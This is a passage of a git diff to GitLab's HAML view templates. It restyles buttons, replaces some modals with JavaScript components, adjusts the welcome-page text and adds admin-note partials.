+ = link_to edit_project_trigger_path(@project, trigger), method: :get, title: "Edit", class: "gl-button btn btn-default btn-sm" do
= sprite_icon('pencil')
- if can?(current_user, :manage_trigger, trigger)
- = link_to project_trigger_path(@project, trigger), data: { confirm: revoke_trigger_confirmation, testid: 'trigger_revoke_button' }, method: :delete, title: "Revoke", class: "btn btn-default btn-warning btn-sm btn-trigger-revoke" do
+ = link_to project_trigger_path(@project, trigger), data: { confirm: revoke_trigger_confirmation, testid: 'trigger_revoke_button' }, method: :delete, title: "Revoke", class: "gl-button btn btn-default btn-sm btn-trigger-revoke" do
= sprite_icon('remove')
diff --git a/app/views/registrations/welcome/show.html.haml b/app/views/registrations/welcome/show.html.haml
index d2a2853ecd7..bf5e35a1224 100644
--- a/app/views/registrations/welcome/show.html.haml
+++ b/app/views/registrations/welcome/show.html.haml
@@ -1,12 +1,16 @@
- page_title _('Your profile')
- add_page_specific_style 'page_bundles/signup'
+- gitlab_experience_text = _('To personalize your GitLab experience, we\'d like to know a bit more about you')
.row.gl-flex-grow-1
.d-flex.gl-flex-direction-column.gl-align-items-center.gl-w-full.gl-p-5
.edit-profile.login-page.d-flex.flex-column.gl-align-items-center.pt-lg-3
= render_if_exists "registrations/welcome/progress_bar"
%h2.gl-text-center= html_escape(_('Welcome to GitLab,%{br_tag}%{name}!')) % { name: html_escape(current_user.first_name), br_tag: '<br/>'.html_safe }
- %p.gl-text-center= html_escape(_('To personalize your GitLab experience, we\'d like to know a bit more about you. We won\'t share this information with anyone.')) % { br_tag: '<br/>'.html_safe }
+ - if Gitlab.com?
+ %p.gl-text-center= html_escape(_('%{gitlab_experience_text}. We won\'t share this information with anyone.')) % { gitlab_experience_text: gitlab_experience_text }
+ - else
+ %p.gl-text-center= html_escape(_('%{gitlab_experience_text}. Don\'t worry, this information isn\'t shared outside of your self-managed GitLab instance.')) % { gitlab_experience_text: gitlab_experience_text }
= form_for(current_user, url: users_sign_up_welcome_path, html: { class: 'card gl-w-full! gl-p-5', 'aria-live' => 'assertive' }) do |f|
.devise-errors
= render 'devise/shared/error_messages', resource: current_user
@@ -16,13 +20,14 @@
= f.select :role, ::User.roles.keys.map { |role| [role.titleize, role] }, {}, class: 'form-control js-user-role-dropdown', autofocus: true
- if Feature.enabled?(:user_other_role_details)
.row
- .form-group.col-sm-12.js-other-role-group{ class: ("hidden") }
+ .form-group.col-sm-12.js-other-role-group.hidden
= f.label :other_role, _('What is your job title? (optional)'), class: 'form-check-label gl-mb-3'
= f.text_field :other_role, class: 'form-control'
= render_if_exists "registrations/welcome/setup_for_company", f: f
+ = render 'devise/shared/email_opted_in', f: f
.row
.form-group.col-sm-12.gl-mb-0
- if partial_exists? "registrations/welcome/button"
= render "registrations/welcome/button"
- else
- = f.submit _('Get started!'), class: 'btn-success gl-button btn btn-block gl-mb-0 gl-p-3', data: { qa_selector: 'get_started_button' }
+ = f.submit _('Get started!'), class: 'btn-confirm gl-button btn btn-block gl-mb-0 gl-p-3', data: { qa_selector: 'get_started_button' }
diff --git a/app/views/search/results/_empty.html.haml b/app/views/search/results/_empty.html.haml
index 0462c29f5c1..2c9ffe3dc1d 100644
--- a/app/views/search/results/_empty.html.haml
+++ b/app/views/search/results/_empty.html.haml
@@ -1,4 +1,4 @@
-.search_box.gl-my-8
+.search_box.gl-my-8.gl-text-center
.search_glyph
%h4
= sprite_icon('search', size: 24, css_class: 'gl-vertical-align-text-bottom')
diff --git a/app/views/search/results/_note.html.haml b/app/views/search/results/_note.html.haml
index d88b7b32ed6..8d5d8670b5c 100644
--- a/app/views/search/results/_note.html.haml
+++ b/app/views/search/results/_note.html.haml
@@ -27,4 +27,4 @@
.note-search-result
.term
- = search_md_sanitize(note.note)
+ = simple_search_highlight_and_truncate(note.note, @search_term)
diff --git a/app/views/shared/_clone_panel.html.haml b/app/views/shared/_clone_panel.html.haml
index fd52f7f40d2..80b50f7a3de 100644
--- a/app/views/shared/_clone_panel.html.haml
+++ b/app/views/shared/_clone_panel.html.haml
@@ -1,14 +1,14 @@
-.git-clone-holder.js-git-clone-holder.input-group
+.js-git-clone-holder.input-group.btn-group
.input-group-prepend
- if allowed_protocols_present?
.input-group-text.clone-dropdown-btn.btn
%span.js-clone-dropdown-label
= enabled_protocol_button(container, enabled_protocol)
- else
- %a#clone-dropdown.input-group-text.btn.clone-dropdown-btn.qa-clone-dropdown{ href: '#', data: { toggle: 'dropdown' } }
+ %a#clone-dropdown.input-group-text.gl-button.btn.btn-default.btn-icon.clone-dropdown-btn.qa-clone-dropdown{ href: '#', data: { toggle: 'dropdown' } }
%span.js-clone-dropdown-label
= default_clone_protocol.upcase
- = sprite_icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'gl-icon')
%ul.dropdown-menu.dropdown-menu-selectable.clone-options-dropdown
%li
= ssh_clone_button(container)
@@ -16,7 +16,7 @@
= http_clone_button(container)
= render_if_exists 'shared/kerberos_clone_button', container: container
- = text_field_tag :clone_url, default_url_to_repo(container), class: "js-select-on-focus form-control", readonly: true, aria: { label: _('Repository clone URL') }
+ = text_field_tag :clone_url, default_url_to_repo(container), class: "js-select-on-focus btn gl-button", readonly: true, aria: { label: _('Repository clone URL') }
.input-group-append
- = clipboard_button(target: '#clone_url', title: _("Copy URL"), class: "input-group-text btn-default btn-clipboard")
+ = clipboard_button(target: '#clone_url', title: _("Copy URL"), class: "input-group-text gl-button btn-default btn-clipboard")
diff --git a/app/views/shared/_confirm_fork_modal.html.haml b/app/views/shared/_confirm_fork_modal.html.haml
index b692dffce37..265396d3d8b 100644
--- a/app/views/shared/_confirm_fork_modal.html.haml
+++ b/app/views/shared/_confirm_fork_modal.html.haml
@@ -8,5 +8,5 @@
.modal-body.p-3
%p= _("You're not allowed to %{tag_start}edit%{tag_end} files in this project directly. Please fork this project, make your changes there, and submit a merge request.") % { tag_start: '', tag_end: ''}
.modal-footer
- = link_to _('Cancel'), '#', class: "gl-button btn btn-default btn-cancel", "data-dismiss" => "modal"
- = link_to _('Fork project'), fork_path, class: 'gl-button btn btn-confirm', data: { qa_selector: 'fork_project_button' }, method: :post
+ = link_to _('Cancel'), '#', class: "btn gl-button btn-default", "data-dismiss" => "modal"
+ = link_to _('Fork project'), fork_path, class: 'btn gl-button btn-confirm', data: { qa_selector: 'fork_project_button' }, method: :post
diff --git a/app/views/shared/_confirm_modal.html.haml b/app/views/shared/_confirm_modal.html.haml
index ecb462205b0..4e7e5c9d3ba 100644
--- a/app/views/shared/_confirm_modal.html.haml
+++ b/app/views/shared/_confirm_modal.html.haml
@@ -18,4 +18,4 @@
.form-group
= text_field_tag 'confirm_name_input', '', class: 'form-control js-confirm-danger-input qa-confirm-input'
.form-actions
- = submit_tag _('Confirm'), class: "btn btn-danger js-confirm-danger-submit qa-confirm-button"
+ = submit_tag _('Confirm'), class: "gl-button btn btn-danger js-confirm-danger-submit qa-confirm-button"
diff --git a/app/views/shared/_delete_label_modal.html.haml b/app/views/shared/_delete_label_modal.html.haml
deleted file mode 100644
index 8d761e3b9c4..00000000000
--- a/app/views/shared/_delete_label_modal.html.haml
+++ /dev/null
@@ -1,20 +0,0 @@
-.modal{ id: "modal-delete-label-#{label.id}", tabindex: -1 }
- .modal-dialog
- .modal-content
- .modal-header
- %h3.page-title= _('Delete label: %{label_name} ?') % { label_name: label.name }
- %button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
-
- .modal-body
- %p
- = html_escape(_('%{label_name} %{span_open}will be permanently deleted from %{subject_name}. This cannot be undone.%{span_close}')) % { label_name: tag.strong(label.name), subject_name: label.subject_name, span_open: '<span>'.html_safe, span_close: '</span>'.html_safe }
-
- .modal-footer
- %a{ href: '#', data: { dismiss: 'modal' }, class: 'btn btn-default' }= _('Cancel')
-
- = link_to _('Delete label'),
- label.destroy_path,
- title: _('Delete'),
- method: :delete,
- class: 'gl-button btn btn-danger'
diff --git a/app/views/shared/_file_highlight.html.haml b/app/views/shared/_file_highlight.html.haml
index b1f53e4d0f6..f8ac3832a77 100644
--- a/app/views/shared/_file_highlight.html.haml
+++ b/app/views/shared/_file_highlight.html.haml
@@ -2,13 +2,11 @@
- offset = defined?(first_line_number) ? first_line_number : 1
.line-numbers
- if blob.data.present?
- - link_icon = sprite_icon('link', size: 12)
- link = blob_link if defined?(blob_link)
- blob.data.each_line.each_with_index do |_, index|
- i = index + offset
-# We're not using `link_to` because it is too slow once we get to thousands of lines.
- %a.diff-line-num{ href: "#{link}#L#{i}", id: "L#{i}", 'data-line-number' => i }
- = link_icon
+ %a.file-line-num.diff-line-num{ href: "#{link}#L#{i}", id: "L#{i}", 'data-line-number' => i }
= i
- highlight = defined?(highlight_line) && highlight_line ? highlight_line - offset : nil
.blob-content{ data: { blob_id: blob.id, path: blob.path, highlight_line: highlight, qa_selector: 'file_content' } }
diff --git a/app/views/shared/_file_picker_button.html.haml b/app/views/shared/_file_picker_button.html.haml
index 9e6a7626d89..1d688e7f4b0 100644
--- a/app/views/shared/_file_picker_button.html.haml
+++ b/app/views/shared/_file_picker_button.html.haml
@@ -1,8 +1,8 @@
- classes = local_assigns.fetch(:classes, '')
%span.js-filepicker
- %button.gl-button.btn.js-filepicker-button{ type: 'button', class: classes }= _("Choose file…")
- %span.file_name.js-filepicker-filename= _("No file chosen")
+ %button.gl-button.btn.btn-default.js-filepicker-button{ type: 'button', class: classes }= _("Choose file…")
+ %span.file_name.js-filepicker-filename= _("No file chosen.")
= f.file_field field, class: "js-filepicker-input hidden"
- if help_text.present?
.form-text.text-muted= help_text
diff --git a/app/views/shared/_flash_user_callout.html.haml b/app/views/shared/_flash_user_callout.html.haml
index fe175195e66..d8032ac521d 100644
--- a/app/views/shared/_flash_user_callout.html.haml
+++ b/app/views/shared/_flash_user_callout.html.haml
@@ -6,6 +6,6 @@
%div{ class: "flash-#{flash_type}" }
%div{ class: "#{(container_class unless fluid_layout)} #{(extra_flash_class unless @no_container)} #{@content_class}" }
%span= message
- %button.btn.btn-default.close.js-close{ type: 'button',
+ %button.btn.gl-button.btn-default.close.js-close{ type: 'button',
'aria-label' => _('Dismiss') }
= sprite_icon('close', css_class: 'dismiss-icon')
diff --git a/app/views/shared/_issuable_meta_data.html.haml b/app/views/shared/_issuable_meta_data.html.haml
index 4b006bddbf6..6c3e15cbace 100644
--- a/app/views/shared/_issuable_meta_data.html.haml
+++ b/app/views/shared/_issuable_meta_data.html.haml
@@ -1,6 +1,7 @@
- note_count = @issuable_meta_data[issuable.id].user_notes_count
- issue_votes = @issuable_meta_data[issuable.id]
-- upvotes, downvotes = issue_votes.upvotes, issue_votes.downvotes
+- upvotes = issue_votes.upvotes
+- downvotes = issue_votes.downvotes
- issuable_path = issuable_path(issuable, anchor: 'notes')
- issuable_mr = @issuable_meta_data[issuable.id].merge_requests_count
diff --git a/app/views/shared/_issues.html.haml b/app/views/shared/_issues.html.haml
index 57575f89803..eb12e9d463c 100644
--- a/app/views/shared/_issues.html.haml
+++ b/app/views/shared/_issues.html.haml
@@ -3,4 +3,5 @@
= render partial: 'projects/issues/issue', collection: @issues
= paginate @issues, theme: "gitlab"
- else
- = render 'shared/empty_states/issues'
+ - project_select_button = local_assigns.fetch(:project_select_button, false)
+ = render 'shared/empty_states/issues', project_select_button: project_select_button
diff --git a/app/views/shared/_label.html.haml b/app/views/shared/_label.html.haml
index 95d7f075964..e4ef0a52eba 100644
--- a/app/views/shared/_label.html.haml
+++ b/app/views/shared/_label.html.haml
@@ -12,34 +12,34 @@
- if can?(current_user, :admin_label, @project)
%li.inline.js-toggle-priority{ data: { url: remove_priority_project_label_path(@project, label),
dom_id: dom_id(label), type: label.type } }
- %button.label-action.add-priority.btn.btn-transparent.has-tooltip{ title: _('Prioritize'), type: 'button', data: { placement: 'bottom' }, aria_label: _('Prioritize label') }
+ %button.add-priority.btn.gl-button.btn-default-tertiary.btn-sm.has-tooltip.gl-ml-3{ title: _('Prioritize'), type: 'button', data: { placement: 'bottom' }, aria_label: _('Prioritize label') }
= sprite_icon('star-o')
- %button.label-action.remove-priority.btn.btn-transparent.has-tooltip{ title: _('Remove priority'), type: 'button', data: { placement: 'bottom' }, aria_label: _('Deprioritize label') }
+ %button.remove-priority.btn.gl-button.btn-default-tertiary.btn-sm.has-tooltip.gl-ml-3{ title: _('Remove priority'), type: 'button', data: { placement: 'bottom' }, aria_label: _('Deprioritize label') }
= sprite_icon('star')
- if can?(current_user, :admin_label, label)
%li.inline
- = link_to label.edit_path, class: 'btn btn-transparent label-action edit has-tooltip', title: _('Edit'), data: { placement: 'bottom' }, aria_label: _('Edit') do
+ = link_to label.edit_path, class: 'btn gl-button btn-default-tertiary btn-sm edit has-tooltip', title: _('Edit'), data: { placement: 'bottom' }, aria_label: _('Edit') do
= sprite_icon('pencil')
- if can?(current_user, :admin_label, label)
%li.inline
.dropdown
- %button{ type: 'button', class: 'btn btn-transparent js-label-options-dropdown label-action', data: { toggle: 'dropdown' }, aria_label: _('Label actions dropdown') }
+ %button{ type: 'button', class: 'btn gl-button btn-default-tertiary btn-sm js-label-options-dropdown', data: { toggle: 'dropdown' }, aria_label: _('Label actions dropdown') }
= sprite_icon('ellipsis_v')
.dropdown-menu.dropdown-open-left
%ul
- if label.project_label? && label.project.group && can?(current_user, :admin_label, label.project.group)
%li
- %button.js-promote-project-label-button.btn.btn-transparent{ disabled: true, type: 'button',
+ %button.js-promote-project-label-button.gl-button.btn.btn-default-tertiary{ disabled: true, type: 'button',
data: { url: promote_project_label_path(label.project, label),
label_title: label.title,
label_color: label.color,
label_text_color: label.text_color,
group_name: label.project.group.name } }
= _('Promote to group label')
- - if can?(current_user, :admin_label, label)
- %li
- %span{ data: { toggle: 'modal', target: "#modal-delete-label-#{label.id}" } }
- %button.text-danger.remove-row{ type: 'button' }= _('Delete')
+ %li
+ %span
+ %button.text-danger.js-delete-label-modal-button{ type: 'button', data: { label_name: label.name, subject_name: label.subject_name, destroy_path: label.destroy_path } }
+ = _('Delete')
- if current_user
%li.inline.label-subscription
- if label.can_subscribe_to_label_in_different_levels?
@@ -53,13 +53,11 @@
.dropdown-menu.dropdown-open-left
%ul
%li
- %button.js-subscribe-button.label-subscribe-button.btn.btn-default{ class: ('hidden' unless status.unsubscribed?), data: { status: status, url: toggle_subscription_project_label_path(@project, label) } }
+ %button.js-subscribe-button.label-subscribe-button.gl-button.btn.btn-default{ class: ('hidden' unless status.unsubscribed?), data: { status: status, url: toggle_subscription_project_label_path(@project, label) } }
%span= _('Subscribe at project level')
%li
- %button.js-subscribe-button.js-group-level.label-subscribe-button.btn.btn-default{ class: ('hidden' unless status.unsubscribed?), data: { status: status, url: toggle_subscription_group_label_path(label.group, label) } }
+ %button.js-subscribe-button.js-group-level.label-subscribe-button.gl-button.btn.btn-default{ class: ('hidden' unless status.unsubscribed?), data: { status: status, url: toggle_subscription_group_label_path(label.group, label) } }
%span= _('Subscribe at group level')
- else
%button.gl-button.js-subscribe-button.label-subscribe-button.btn.btn-default.gl-ml-3{ data: { status: status, url: toggle_subscription_path, toggle: 'tooltip' }, title: tooltip_title }
%span= label_subscription_toggle_button_text(label, @project)
-
-= render 'shared/delete_label_modal', label: label
diff --git a/app/views/shared/_milestone_expired.html.haml b/app/views/shared/_milestone_expired.html.haml
index 171ae9d2c07..925344ab2f7 100644
--- a/app/views/shared/_milestone_expired.html.haml
+++ b/app/views/shared/_milestone_expired.html.haml
@@ -1,4 +1,4 @@
-- if milestone.expired? and not milestone.closed?
+- if milestone.expired? && !milestone.closed?
.gl-badge.badge-warning.badge-pill.gl-mb-2= _('Expired')
- if milestone.upcoming?
.gl-badge.badge-primary.badge-pill.gl-mb-2= _('Upcoming')
diff --git a/app/views/shared/_mini_pipeline_graph.html.haml b/app/views/shared/_mini_pipeline_graph.html.haml
deleted file mode 100644
index 172f3d85472..00000000000
--- a/app/views/shared/_mini_pipeline_graph.html.haml
+++ /dev/null
@@ -1,17 +0,0 @@
-.stage-cell
- - pipeline.legacy_stages.each do |stage|
- - if stage.status
- - detailed_status = stage.detailed_status(current_user)
- - icon_status = "#{detailed_status.icon}_borderless"
-
- .stage-container.mt-0.ml-1.dropdown{ class: klass }
- %button.mini-pipeline-graph-dropdown-toggle.has-tooltip.js-builds-dropdown-button{ class: "ci-status-icon-#{detailed_status.group}", type: 'button', data: { toggle: 'dropdown', title: "#{stage.name}: #{detailed_status.label}", placement: 'top', "stage-endpoint" => stage_ajax_project_pipeline_path(pipeline.project, pipeline, stage: stage.name) } }
- = sprite_icon(icon_status)
-
- %ul.dropdown-menu.mini-pipeline-graph-dropdown-menu.js-builds-dropdown-container
- %li.js-builds-dropdown-list.scrollable-menu
- %ul
-
- %li.js-builds-dropdown-loading.hidden
- .loading-container.text-center
- %span.spinner{ 'aria-label': _('Loading') }
diff --git a/app/views/shared/_mobile_clone_panel.html.haml b/app/views/shared/_mobile_clone_panel.html.haml
index 3edfd502f13..8b7ef838d2b 100644
--- a/app/views/shared/_mobile_clone_panel.html.haml
+++ b/app/views/shared/_mobile_clone_panel.html.haml
@@ -3,8 +3,8 @@
- http_copy_label = _('Copy %{http_label} clone URL') % { http_label: gitlab_config.protocol.upcase }
.btn-group.mobile-git-clone.js-mobile-git-clone.btn-block
- = clipboard_button(button_text: default_clone_label, text: default_url_to_repo(project), hide_button_icon: true, class: "gl-button btn btn-confirm flex-fill input-group-text clone-dropdown-btn js-clone-dropdown-label")
- %button.gl-button.btn.btn-confirm.btn-icon.dropdown-toggle.js-dropdown-toggle.flex-grow-0.d-flex-center.w-auto.ml-0{ type: "button", data: { toggle: "dropdown" } }
+ = clipboard_button(button_text: default_clone_label, text: default_url_to_repo(project), hide_button_icon: true, class: "gl-button btn-confirm flex-fill bold justify-content-center input-group-text clone-dropdown-btn js-clone-dropdown-label")
+ %button.btn.gl-button.btn-confirm.dropdown-toggle.js-dropdown-toggle.flex-grow-0.d-flex-center.w-auto.ml-0{ type: "button", data: { toggle: "dropdown" } }
= sprite_icon("chevron-down", css_class: "dropdown-btn-icon icon")
%ul.dropdown-menu.dropdown-menu-selectable.dropdown-menu-right.clone-options-dropdown{ data: { dropdown: true } }
- if ssh_enabled?
diff --git a/app/views/shared/_recaptcha_form.html.haml b/app/views/shared/_recaptcha_form.html.haml
index f524747dea0..5c5fc714aea 100644
--- a/app/views/shared/_recaptcha_form.html.haml
+++ b/app/views/shared/_recaptcha_form.html.haml
@@ -20,4 +20,4 @@
- if has_submit
.row-content-block.footer-block
- = f.submit _("Submit %{humanized_resource_name}") % { humanized_resource_name: humanized_resource_name }, class: 'gl-button btn btn-confirm'
+ = f.submit _("Create %{humanized_resource_name}") % { humanized_resource_name: humanized_resource_name }, class: 'gl-button btn btn-confirm'
diff --git a/app/views/shared/_search_settings.html.haml b/app/views/shared/_search_settings.html.haml
index d689e9ae5c0..2974b2bf4d0 100644
--- a/app/views/shared/_search_settings.html.haml
+++ b/app/views/shared/_search_settings.html.haml
@@ -1,6 +1,5 @@
- container_class = local_assigns.fetch(:container_class, 'gl-mt-5')
-- if Feature.enabled?(:search_settings_in_page, @project, default_enabled: false)
- %div{ class: container_class }
- .js-search-settings-app
- %input.gl-form-input.form-control{ type: "text", placeholder: _("Search settings"), aria_label: _("Search settings"), disabled: true }
+%div{ class: container_class }
+ .js-search-settings-app
+ %input.gl-form-input.form-control{ type: "text", placeholder: _("Search settings"), aria_label: _("Search settings"), disabled: true }
diff --git a/app/views/shared/access_tokens/_form.html.haml b/app/views/shared/access_tokens/_form.html.haml
index 9709ad8428e..88c24a27497 100644
--- a/app/views/shared/access_tokens/_form.html.haml
+++ b/app/views/shared/access_tokens/_form.html.haml
@@ -23,7 +23,7 @@
= render_if_exists 'personal_access_tokens/callout_max_personal_access_token_lifetime'
.js-access-tokens-expires-at
- = f.text_field :expires_at, class: 'datepicker gl-datepicker-input form-control gl-form-input', placeholder: 'YYYY-MM-DD', autocomplete: 'off'
+ = f.text_field :expires_at, class: 'datepicker gl-datepicker-input form-control gl-form-input', placeholder: 'YYYY-MM-DD', autocomplete: 'off', data: { js_name: 'expiresAt' }
.form-group
= f.label :scopes, _('Scopes'), class: 'label-bold'
@@ -31,7 +31,7 @@
- if prefix == :personal_access_token && Feature.enabled?(:personal_access_tokens_scoped_to_projects, current_user)
.js-access-tokens-projects
- %input{ type: 'hidden', name: 'temporary-name', id: 'temporary-id' }
+ %input{ type: 'hidden', name: 'personal_access_token[projects]', id: 'personal_access_token_projects', data: { js_name: 'projects' } }
.gl-mt-3
= f.submit _('Create %{type}') % { type: type }, class: 'gl-button btn btn-confirm', data: { qa_selector: 'create_token_button' }
diff --git a/app/views/shared/access_tokens/_table.html.haml b/app/views/shared/access_tokens/_table.html.haml
index d7c74255578..2a2a1a911af 100644
--- a/app/views/shared/access_tokens/_table.html.haml
+++ b/app/views/shared/access_tokens/_table.html.haml
@@ -43,7 +43,7 @@
- else
%span.token-never-expires-label= _('Never')
%td= token.scopes.present? ? token.scopes.join(', ') : _('no scopes selected')
- %td= link_to _('Revoke'), revoke_route_helper.call(token), method: :put, class: 'gl-button btn btn-danger float-right qa-revoke-button', data: { confirm: _('Are you sure you want to revoke this %{type}? This action cannot be undone.') % { type: type } }
+ %td= link_to _('Revoke'), revoke_route_helper.call(token), method: :put, class: 'gl-button btn btn-danger btn-sm float-right qa-revoke-button', data: { confirm: _('Are you sure you want to revoke this %{type}? This action cannot be undone.') % { type: type } }
- else
.settings-message.text-center
= no_active_tokens_message
diff --git a/app/views/shared/admin/_admin_note.html.haml b/app/views/shared/admin/_admin_note.html.haml
new file mode 100644
index 00000000000..82407705885
--- /dev/null
+++ b/app/views/shared/admin/_admin_note.html.haml
@@ -0,0 +1,7 @@
+- if @group.admin_note.present?
+ - text = @group.admin_note.note
+ .card.border-info
+ .card-header.bg-info.gl-text-white
+ = s_('Admin|Admin notes')
+ .card-body
+ %p= text
diff --git a/app/views/shared/admin/_admin_note_form.html.haml b/app/views/shared/admin/_admin_note_form.html.haml
new file mode 100644
index 00000000000..0bc26f9120f
--- /dev/null
+++ b/app/views/shared/admin/_admin_note_form.html.haml
@@ -0,0 +1,6 @@
+.form-group.row
+ = f.fields_for :admin_note do |an|
+ .col-sm-2.col-form-label.gl-text-right
+ = an.label :note, s_('Admin|Admin notes')
+ .col-sm-10
+ = an.text_area :note, class: 'form-control'
diff --git a/app/views/shared/blob/_markdown_buttons.html.haml b/app/views/shared/blob/_markdown_buttons.html.haml
index 085206714c6..73f3d2a8fcd 100644
--- a/app/views/shared/blob/_markdown_buttons.html.haml
+++ b/app/views/shared/blob/_markdown_buttons.html.haml
@@ -1,4 +1,4 @@
-- modifier_key = client_js_flags[:isMac] ? '⌘' : s_('KeyboardKey|Ctrl+');
+- modifier_key = client_js_flags[:isMac] ? '⌘' : s_('KeyboardKey|Ctrl+')
.md-header-toolbar.active
= markdown_toolbar_button({ icon: "bold",
diff --git a/app/views/shared/boards/_show.html.haml b/app/views/shared/boards/_show.html.haml
index 8c0893adaaa..bf70149812a 100644
--- a/app/views/shared/boards/_show.html.haml
+++ b/app/views/shared/boards/_show.html.haml
@@ -1,8 +1,5 @@
- board = local_assigns.fetch(:board, nil)
- group = local_assigns.fetch(:group, false)
--# TODO: Move group_id and can_admin_list to the board store
- See: https://gitlab.com/gitlab-org/gitlab/-/issues/213082
-- can_admin_list = can?(current_user, :admin_issue_board_list, current_board_parent) == true
- @no_breadcrumb_container = true
- @no_container = true
- @content_class = "issue-boards-content js-focus-mode-board"
@@ -13,23 +10,8 @@
- page_title("#{board.name}", _("Boards"))
- add_page_specific_style 'page_bundles/boards'
-- content_for :page_specific_javascripts do
-
- %script#js-board-modal-filter{ type: "text/x-template" }= render "shared/issuable/search_bar", type: :boards_modal, show_sorting_dropdown: false
-
= render 'shared/issuable/search_bar', type: :boards, board: board
#board-app.boards-app.position-relative{ "v-cloak" => "true", data: board_data, ":class" => "{ 'is-compact': detailIssueVisible }" }
- %board-content{ "v-cloak" => "true",
- "ref" => "board_content",
- ":lists" => "state.lists",
- ":can-admin-list" => can_admin_list,
- ":disabled" => "disabled",
- data: { qa_selector: "boards_list" } }
+ %board-content{ ":lists" => "state.lists", ":disabled" => "disabled" }
= render "shared/boards/components/sidebar", group: group
- %board-settings-sidebar{ ":can-admin-list" => can_admin_list }
- - if @project
- %board-add-issues-modal{ "new-issue-path" => new_project_issue_path(@project),
- "milestone-path" => milestones_filter_dropdown_path,
- "label-path" => labels_filter_path_with_defaults,
- "empty-state-svg" => image_path('illustrations/issues.svg'),
- ":project-id" => @project.id }
+ %board-settings-sidebar
diff --git a/app/views/shared/boards/components/_sidebar.html.haml b/app/views/shared/boards/components/_sidebar.html.haml
index 59dd571604b..8976e89b3d3 100644
--- a/app/views/shared/boards/components/_sidebar.html.haml
+++ b/app/views/shared/boards/components/_sidebar.html.haml
@@ -1,6 +1,6 @@
%board-sidebar{ "inline-template" => true, ":current-user" => (UserSerializer.new.represent(current_user) || {}).to_json }
%transition{ name: "boards-sidebar-slide" }
- %aside.right-sidebar.right-sidebar-expanded.issue-boards-sidebar{ "v-show" => "showSidebar", 'aria-label': s_('Boards|Board') }
+ %aside.right-sidebar.right-sidebar-expanded.boards-sidebar{ "v-show" => "showSidebar", 'aria-label': s_('Boards|Board'), 'data-testid': 'issue-boards-sidebar' }
.issuable-sidebar
.block.issuable-sidebar-header.position-relative
%span.issuable-header-text.hide-collapsed.float-left
diff --git a/app/views/shared/deploy_tokens/_form.html.haml b/app/views/shared/deploy_tokens/_form.html.haml
index 2ddfcf43756..4d0858165a2 100644
--- a/app/views/shared/deploy_tokens/_form.html.haml
+++ b/app/views/shared/deploy_tokens/_form.html.haml
@@ -22,29 +22,29 @@
= f.label :scopes, _('Scopes [Select 1 or more]'), class: 'label-bold'
%fieldset.form-group.form-check
= f.check_box :read_repository, class: 'form-check-input qa-deploy-token-read-repository'
- = label_tag ("deploy_token_read_repository"), 'read_repository', class: 'label-bold form-check-label'
+ = f.label :read_repository, 'read_repository', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows read-only access to the repository.')
- if container_registry_enabled?(group_or_project)
%fieldset.form-group.form-check
= f.check_box :read_registry, class: 'form-check-input qa-deploy-token-read-registry'
- = label_tag ("deploy_token_read_registry"), 'read_registry', class: 'label-bold form-check-label'
+ = f.label :read_registry, 'read_registry', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows read-only access to registry images.')
%fieldset.form-group.form-check
= f.check_box :write_registry, class: 'form-check-input'
- = label_tag ("deploy_token_write_registry"), 'write_registry', class: 'label-bold form-check-label'
+ = f.label :write_registry, 'write_registry', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows write access to registry images.')
- if packages_registry_enabled?(group_or_project)
%fieldset.form-group.form-check
= f.check_box :read_package_registry, class: 'form-check-input'
- = label_tag ("deploy_token_read_package_registry"), 'read_package_registry', class: 'label-bold form-check-label'
+ = f.label :read_package_registry, 'read_package_registry', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows read access to the package registry.')
%fieldset.form-group.form-check
= f.check_box :write_package_registry, class: 'form-check-input'
- = label_tag ("deploy_token_write_package_registry"), 'write_package_registry', class: 'label-bold form-check-label'
+ = f.label :write_package_registry, 'write_package_registry', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows write access to the package registry.')
.gl-mt-3
diff --git a/app/views/shared/deploy_tokens/_revoke_modal.html.haml b/app/views/shared/deploy_tokens/_revoke_modal.html.haml
deleted file mode 100644
index 2b31c675f74..00000000000
--- a/app/views/shared/deploy_tokens/_revoke_modal.html.haml
+++ /dev/null
@@ -1,15 +0,0 @@
-.modal{ id: "revoke-modal-#{token.id}", tabindex: -1 }
- .modal-dialog
- .modal-content
- .modal-header
- %h4.modal-title
- = s_('DeployTokens|Revoke %{b_start}%{name}%{b_end}?').html_safe % { b_start: '<b>'.html_safe, name: token.name, b_end: '</b>'.html_safe }
- %button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
- .modal-body
- %p
- = s_('DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}.').html_safe % { b_start: '<b>'.html_safe, name: token.name, b_end: '</b>'.html_safe }
- = s_('DeployTokens|This action cannot be undone.')
- .modal-footer.gl-flex-direction-row
- %a{ href: '#', data: { dismiss: 'modal' }, class: 'gl-button btn btn-default' }= _('Cancel')
- = link_to s_('DeployTokens|Revoke %{name}') % { name: token.name }, revoke_deploy_token_path(group_or_project, token), method: :put, class: 'gl-button btn btn-danger text-truncate'
diff --git a/app/views/shared/deploy_tokens/_table.html.haml b/app/views/shared/deploy_tokens/_table.html.haml
index ad3c53c4925..fe32fcf94d0 100644
--- a/app/views/shared/deploy_tokens/_table.html.haml
+++ b/app/views/shared/deploy_tokens/_table.html.haml
@@ -24,8 +24,9 @@
- else
%span.token-never-expires-label= _('Never')
%td= token.scopes.present? ? token.scopes.join(', ') : _('no scopes selected')
- %td= link_to s_('DeployTokens|Revoke'), "#", class: "gl-button btn btn-danger float-right", data: { toggle: "modal", target: "#revoke-modal-#{token.id}"}
- = render 'shared/deploy_tokens/revoke_modal', token: token, group_or_project: group_or_project
+ %td
+ .js-deploy-token-revoke-button{ data: { button_class: 'float-right', token: token.to_json, revoke_path: revoke_deploy_token_path(group_or_project, token) } }
+
- else
.settings-message.text-center
= s_('DeployTokens|This %{entity_type} has no active Deploy Tokens.') % { entity_type: group_or_project.class.name.downcase }
diff --git a/app/views/shared/doorkeeper/applications/_delete_form.html.haml b/app/views/shared/doorkeeper/applications/_delete_form.html.haml
new file mode 100644
index 00000000000..caa553bc2ef
--- /dev/null
